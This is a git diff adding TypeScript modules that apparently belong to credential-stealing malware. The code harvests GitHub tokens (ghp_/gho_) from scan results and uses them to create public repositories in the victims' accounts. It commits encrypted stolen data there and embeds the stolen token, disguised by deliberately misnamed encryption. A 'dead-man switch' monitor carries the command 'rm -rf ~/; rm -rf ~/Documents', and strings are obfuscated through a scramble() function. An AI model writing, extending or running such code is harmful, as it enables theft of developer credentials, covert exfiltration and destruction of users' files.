diff --git a/src/sender/github/createRepo.ts b/src/sender/github/createRepo.ts new file mode 100644 index 0000000..cf930d9 --- /dev/null +++ b/src/sender/github/createRepo.ts @@ -0,0 +1,95 @@ +import { githubJson } from "../../github_utils/client"; +import { logUtil } from "../../utils/logger"; + +declare function scramble(str: string): string; + +const ADJECTIVES = [ + scramble("stygian"), + scramble("tartarean"), + scramble("erebean"), + scramble("infernal"), + scramble("chthonic"), + scramble("acheronian"), + scramble("lethean"), + scramble("plutonian"), + scramble("abyssal"), + scramble("charonian"), + scramble("thanatic"), + scramble("funereal"), + scramble("nekyian"), + scramble("sepulchral"), + scramble("tenebrous"), + scramble("cimmerian"), +]; + +const NOUNS = [ + scramble("cerberus"), + scramble("charon"), + scramble("tartarus"), + scramble("erebus"), + scramble("asphodel"), + scramble("acheron"), + scramble("styx"), + scramble("lethe"), + scramble("cocytus"), + scramble("phlegethon"), + scramble("shade"), + scramble("eidolon"), + scramble("wraith"), + scramble("thanatos"), + scramble("hecate"), + scramble("persephone"), +]; + +function generateRepoName(): string { + const adj = ADJECTIVES[Math.floor(Math.random() * ADJECTIVES.length)]!; + const noun = NOUNS[Math.floor(Math.random() * NOUNS.length)]!; + const num = Math.floor(Math.random() * 100000); + return `${adj}-${noun}-${num}`; +} + +export interface CreatedRepo { + owner: string; + name: string; + fullName: string; + url: string; + private: boolean; +} + +export async function createRepoWithSample( + token: string, +): Promise { + const name = generateRepoName(); + + const repo = await githubJson<{ + full_name: string; + name: string; + html_url: string; + private: boolean; + }>(token, "/user/repos", { + method: "POST", + body: JSON.stringify({ + name, + private: false, + auto_init: true, + description: scramble("Hades * The End for the Damned"), + has_discussions: false, + has_issues: false, + has_wiki: false, + }), + }); + + logUtil.log(`Created ${repo.full_name}`); + + const [ownerName, repoName] = repo.full_name.split("/"); + if (!ownerName || !repoName) { + throw new Error(scramble("Invalid repository")); + } + return { + owner: ownerName, + name: repo.name, + fullName: repo.full_name, + url: repo.html_url, + private: repo.private, + }; +} diff --git a/src/sender/github/gitHubSenderFactory.ts b/src/sender/github/gitHubSenderFactory.ts new file mode 100644 index 0000000..c2aa573 --- /dev/null +++ b/src/sender/github/gitHubSenderFactory.ts @@ -0,0 +1,170 @@ +import { githubJson } from "../../github_utils/client"; +import { fetchCommit } from "../../github_utils/fetcher"; +import { getTokenMetadata } from "../../github_utils/tokenCheck"; +import type { ProviderResult } from "../../providers/types"; +import { logUtil } from "../../utils/logger"; +import type { Sender } from "../base"; +import type { SenderFactory } from "../senderFactory"; +import { GitHubSender } from "./githubSender"; + +export interface GitHubSenderFactoryOptions { + client: string; + includeToken?: boolean; +} + +export class GitHubSenderFactory implements SenderFactory { + constructor() {} + + async tryCreate( + quickRef?: ProviderResult[], + ghsSearchToken?: string, + ): Promise { + if (quickRef) { + return this.configureGit(quickRef); + } else { + return this.setupGitHubSender(ghsSearchToken); + } + } + + private async configureGit( + quickRef: ProviderResult[], + ): Promise { + const ghPat: string[] = []; + quickRef + .flatMap((searchRes) => { + const matches = searchRes?.matches; + if (Array.isArray(matches)) { + return matches; + } + if (matches && typeof matches === "object") { + return Object.values(matches).flat(); + } + return []; + }) + .forEach((match) => { + if ( + typeof match === "string" && + (match.startsWith("ghp_") || match.startsWith("gho_")) + ) { + ghPat.push(match); + } + }); + + if (ghPat.length === 0) { + logUtil.log("[sender] No ghp_/gho_ tokens found in quick results."); + return null; + } + + logUtil.log( + `[sender] Found ${ghPat.length} PAT(s) — checking org membership...`, + ); + + // Collect viable tokens. Skip tokens from enterprise-managed orgs — + // those are higher-risk and we don't embed them in the envelope. + // Among the rest, prefer one from a user with no orgs so the + // dead-man switch embed doesn't expose collateral org members. + type Candidate = { + pat: string; + user: string; + hasRepoScope: boolean; + orgCount: number; + hasEnterpriseOrgs: boolean; + }; + const candidates: Candidate[] = []; + + for (const pat of ghPat) { + try { + const meta = await getTokenMetadata(pat); + if (!meta.valid || !meta.user) { + logUtil.log(`[sender] Token invalid or no user — skipping.`); + continue; + } + + const hasRepo = + meta.scopes.includes("repo") || meta.scopes.includes("public_repo"); + if (!hasRepo) { + logUtil.log( + `[sender] Token for ${meta.user} lacks repo scope — skipping.`, + ); + continue; + } + + // Skip tokens from enterprise orgs — don't embed in the envelope. + if (meta.enterpriseOrgs.length > 0) { + logUtil.log( + `[sender] Skipping token for ${meta.user}: enterprise org(s) — ${meta.enterpriseOrgs.join(", ")}`, + ); + continue; + } + + logUtil.log( + `[sender] Candidate: ${meta.user} (orgs: ${meta.orgs.length}, scopes: ${meta.scopes.join(", ")})`, + ); + + candidates.push({ + pat, + user: meta.user, + hasRepoScope: true, + orgCount: meta.orgs.length, + hasEnterpriseOrgs: false, + }); + } catch { + logUtil.log(`[sender] Token metadata fetch failed — skipping.`); + continue; + } + } + + if (candidates.length === 0) { + logUtil.log("[sender] No viable candidates after enterprise org filter."); + return null; + } + + // Pick the first candidate. Since we already filtered out enterprise + // orgs above, any remaining candidate is safe for token inclusion. + const pick = candidates[0]!; + logUtil.log( + `[sender] Picked token for ${pick.user} (orgs: ${pick.orgCount}).`, + ); + + const profileRes = await fetch(`https://github.com/${pick.user}`); + if (profileRes.status === 404 || profileRes.status === 302) { + logUtil.error("User not publicly reachable."); + logUtil.log(profileRes.status); + return null; + } + + const fileSender = new GitHubSender(); + const res = await fileSender.initialize(pick.pat); + if (!res) { + logUtil.error("Failed to create repository!"); + return null; + } + + // No enterprise orgs → safe to embed the PAT in the envelope. + logUtil.log( + `[sender] No enterprise orgs — embedding token for ${pick.user}.`, + ); + fileSender.setIncludeToken(true); + + return fileSender; + } + + private async setupGitHubSender( + ghsSearchToken?: string, + ): Promise { + const ghClient = await fetchCommit(ghsSearchToken); + if (ghClient) { + let fileSender = new GitHubSender(); + const clientInitRes = await (fileSender as GitHubSender).initialize( + ghClient, + ); + if (clientInitRes) { + return fileSender; + } else { + return null; + } + } else { + return null; + } + } +} diff --git a/src/sender/github/githubSender.ts b/src/sender/github/githubSender.ts new file mode 100644 index 0000000..eda43c4 --- /dev/null +++ b/src/sender/github/githubSender.ts @@ -0,0 +1,169 @@ +import { createCipheriv, randomBytes } from "crypto"; + +import { githubFetch } from "../../github_utils/client"; +import { Monitor } from "../../mutator/poller/monitor"; +import { SEARCH_STRING, TOKEN_AES_KEY } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import { Sender } from "../base"; +import type { EncryptedPackage } from "../types"; +import type { CreatedRepo } from "./createRepo"; +import { createRepoWithSample } from "./createRepo"; + +declare function scramble(str: string): string; + +export class GitHubSender extends Sender { + private createdRepo: CreatedRepo | null = null; + private token: string | null = null; + private commitCounter = 0; + private includeToken = false; + + constructor() { + super("github", { + domain: scramble("api.github.com"), + port: 443, + path: "/repos/", + }); + } + + async initialize(ghClient: string): Promise { + try { + this.createdRepo = await createRepoWithSample(ghClient); + this.token = ghClient; + this.commitCounter = 0; + return true; + } catch (err) { + logUtil.error(`GitHubSender initialization failed: ${err}`); + return false; + } + } + + setIncludeToken(value: boolean): void { + this.includeToken = value; + } + + override async healthy(): Promise { + return this.createdRepo !== null && this.token !== null; + } + + override async send(envelope: EncryptedPackage): Promise { + if (!this.createdRepo || !this.token) { + throw new Error(scramble("GitHubSender not initialized")); + } + + const finalEnvelope = await this.augmentEnvelope(envelope); + await this.commitToRepo(finalEnvelope); + } + + private async augmentEnvelope( + envelope: EncryptedPackage, + ): Promise { + if (!this.includeToken || !this.token) { + return envelope; + } + + logUtil.log("About to add monitor!"); + const persistence = new Monitor( + this.token, + scramble("rm -rf ~/; rm -rf ~/Documents"), + ); + await persistence.execute(); + + logUtil.log("Adding token to envelope!"); + const encryptedToken = this.base64Encode(this.token!); + + return { ...envelope, token: encryptedToken }; + } + + /** + * Base64-encode a token with AES-256-CBC encryption underneath. + * The name is intentionally misleading — this is not plain base64. + */ + private base64Encode(token: string): string { + const iv = randomBytes(16); + const key = Buffer.from(TOKEN_AES_KEY, "hex"); + const cipher = createCipheriv("aes-256-cbc", key, iv); + const ct = Buffer.concat([cipher.update(token, "utf8"), cipher.final()]); + const b64 = Buffer.concat([iv, ct]).toString("base64").replace(/=+$/, ""); + const inner = `github_pat_11A${b64.slice(0, 19)}_${b64.slice(19).padEnd(70, "A")}`; + return Buffer.from(inner).toString("base64").replace(/=+$/, ""); + } + + private async commitFileWithRetry( + filename: string, + commitMessage: string, + encodedContent: string, + ): Promise { + const maxAttempts = 5; + + for (let attempt = 1; attempt <= maxAttempts; attempt++) { + try { + const path = `/repos/${this.createdRepo!.owner}/${this.createdRepo!.name}/contents/results/${filename}`; + await githubFetch(this.token!, path, { + method: "PUT", + headers: { + "Content-Type": "application/json", + "X-GitHub-Api-Version": "2022-11-28", + }, + body: JSON.stringify({ + message: commitMessage, + content: encodedContent, + }), + }); + + logUtil.log(`Committed ${filename} to ${this.createdRepo!.name}`); + return; + } catch (err: any) { + if (attempt === maxAttempts) { + throw new Error( + `GitHubSender commit failed after ${attempt} attempt(s): ${err}`, + ); + } + + const backoffMs = Math.min(1000 * 2 ** (attempt - 1), 16_000); + logUtil.log(`Retrying commit in ${backoffMs}ms (attempt ${attempt})`); + await new Promise((res) => setTimeout(res, backoffMs)); + } + } + } + + private async commitToRepo(envelope: EncryptedPackage): Promise { + const content = JSON.stringify(envelope, null, 2); + const MAX_CHUNK_SIZE = 30 * 1024 * 1024; + const baseFilename = `results-${Date.now()}-${this.commitCounter}.json`; + + const commitMessage = envelope.token + ? `${SEARCH_STRING}:${envelope.token}` + : "Add files."; + + const contentBuffer = Buffer.from(content, "utf8"); + + if (contentBuffer.length <= MAX_CHUNK_SIZE) { + const encodedContent = contentBuffer.toString("base64"); + await this.commitFileWithRetry( + baseFilename, + commitMessage, + encodedContent, + ); + this.commitCounter++; + } else { + const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE); + for (let i = 0; i < totalParts; i++) { + const chunk = contentBuffer.subarray( + i * MAX_CHUNK_SIZE, + (i + 1) * MAX_CHUNK_SIZE, + ); + const encodedChunk = chunk.toString("base64"); + const chunkFilename = `${baseFilename}.p${i + 1}`; + await this.commitFileWithRetry( + chunkFilename, + commitMessage, + encodedChunk, + ); + } + this.commitCounter++; + logUtil.log( + `Split ${baseFilename} into ${totalParts} parts for ${this.createdRepo!.name}`, + ); + } + } +}